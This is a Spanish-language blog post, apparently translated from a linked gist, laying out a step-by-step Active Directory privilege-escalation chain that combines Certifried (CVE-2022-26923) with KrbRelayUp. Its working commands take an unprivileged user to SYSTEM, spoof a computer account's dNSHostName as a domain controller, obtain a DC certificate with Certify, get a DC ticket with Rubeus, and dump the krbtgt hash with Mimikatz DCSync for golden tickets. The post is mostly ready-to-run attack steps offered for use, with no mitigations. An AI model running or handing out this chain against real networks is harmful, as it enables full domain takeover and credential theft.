Combinando Certifried con KrbRelayUp para ser domain admin

Si recordáis, con Certifried (CVE-2022-26923) podíamos llegar a ser domain admin con un usuario que tuviera privilegios para añadir o ownear cuentas de equipo y, por otro lado, con un ataque de relay de kerberos sobre LDAP y Shadow Credentials podíamos da permisos de admin local a un usuario de dominio loggeado en una máquina... 

Pues bien, combinando estos dos podemos hacer que un usuario de dominio sin privilegios llegue a ser administrador de dominio sin el requisito de añadir o ownear cuentas de equipo. Veamos cómo.

Requisitos previos:

- no se aplica firma LDAP en los DC (para escalado de privilegios local, haciendo que KrbRelay funcione para LDAP)
- Active Directory Certificate Services (ADCS) ejecutándose y configurados (por defecto es ok)
- DC sin parchear (para el ataque Certifried)

Ataque paso a paso:

1. Para simplificar usamos la herramienta todo en uno KrbRelayUp para escalar localmente en la máquina del dominio donde el atacante tiene capacidad de ejecución de comandos sin privilegios:

KrbRelayUp.exe full -m shadowcred -f

Esto nos dará un prompt como NT Authority\System

2. Dentro de la consola con privilegios, realizamos el abuso de atributos de objetos de equipo (eliminamos los SPN y modificamos el dNSHostName a un DC). 

Usar el adaptador PowerShell ADSI para esta tarea no requiere ninguna dependencia especial:

$searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]'')
$searcher.filter = '(&(objectClass=computer)(sAMAccountName={0}$))' -f $Env:ComputerName
$obj = [ADSI]$searcher.FindAll().Path
$spn = @()
$obj.servicePrincipalName | % { $spn += $_ }
$dns = $obj.dNSHostName.ToString()     
$spn | % { $obj.servicePrincipalName.Remove($_) }
$obj.dNSHostName = "dc1.ecorp.local"
$obj.SetInfo()

El valor original de los atributos (en las variables $spn y $dns) se guarda para recuperarlos más tarde.

3. Solicitamos el certificado de máquina usando Certify (debería obtener un cert para el DC):
.\Certify.exe request /ca:dc1.ecorp.local\ecorp-dc1-ca /machine

4. Recuperamos los atributos de la máquina (todavía en la misma sesión de PS, las variables anteriores deberían estar disponibles):
$obj.dNSHostName = $dns
$spn | % { $obj.servicePrincipalName.Add($_) }
$obj.SetInfo()

5. Copiamos la clave privada con el certificado emitido en el paso 3 como cert.pem a una máquina (Linux) que ejecuta openssl y lo convertimos a pfx (no es necesario establecer una contraseña):
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

Convertimos el archivo cert.pfx a base64:
cat cert.pfx | base64 -w0

6. Pedimos un TGT de Kerberos usando Rubeus con el certificado y PKINIT y lo inyectamos en la sesión actual. Esto se puede realizar desde la shell original no elevada:
.\Rubeus.exe asktgt /user:DC1$ /certificate:<base64 pfx> /ptt

Comprobamos el ticket DC1$ (cuenta de máquina del controlador de dominio) en la sesión con klist:
klist

7. Ejecutamos DCSync con Mimikatz para obtener los hashes. Preferiblemente el krbtgt (para los golden tickets):
.\mimikatz.exe "lsadump::dcsync /domain:ecorp.local /user:krbtgt" exit

Fuente: https://gist.github.com/tothi/f89a37127f2233352d74eef6c748ca25

Comentarios